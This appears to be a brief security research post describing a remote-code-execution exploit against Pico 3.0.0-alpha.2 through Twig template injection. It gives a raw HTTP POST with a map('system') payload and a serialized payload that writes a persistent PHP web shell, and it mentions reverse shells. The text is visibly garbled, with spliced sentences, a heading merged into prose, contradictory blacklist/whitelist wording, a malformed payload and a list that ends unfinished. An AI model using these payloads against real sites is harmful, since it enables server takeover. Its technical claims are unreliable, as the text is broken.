Published: April 21, 2026 Author: Security Research Team
To understand how this exploit evolved, review the timeline:
map('system') vector.SandboxExtension.php in the development branch.In a secure Pico installation, Twig templates are sandboxed to prevent _self.env.registerUndefinedFilterCallback("exec") style attacks. However, in alpha.2, the allowed_functions blacklist was incomplete.
The Exploit Payload: An attacker submits a crafted HTTP POST request to the theme preview endpoint (which does not require authentication in alpha builds): Pico 3.0.0-alpha.2 Exploit
POST /?action=preview_theme HTTP/1.1 Host: target-site.com Content-Type: application/x-www-form-urlencoded
theme_template=shell&content=map('system')
Why this works:
map filter in Twig applies a function to every element of an array.'system' was not explicitly blocked in the $config['twig_config']['sandbox']['functions'] whitelist, the template engine executes system('id'), system('whoami'), etc.The root cause lies in a dangerous combination of two features introduced in the alpha branch: Twig template caching and YAML parameter parsing.
A more advanced payload replaces the system call with a full PHP reverse shell or a web-based file manager.
!php/object "O:1:\"S\":1:s:4:\"exec\";s:62:\"file_put_contents('shell.php','<?php system($_GET[\"cmd\"]); ?>')\";"
Once shell.php is written, the attacker has permanent access. Breaking Down the Pico 3
While Pico 3.0.0-alpha.2 is not designed for high-traffic public sites, the exploit has been observed in the wild targeting:
/admin and specific X-Generator headers.pico/pico:3.0.0-alpha.2 from Docker Hub, believing the "latest" tag would be stable.If successfully exploited, an attacker can: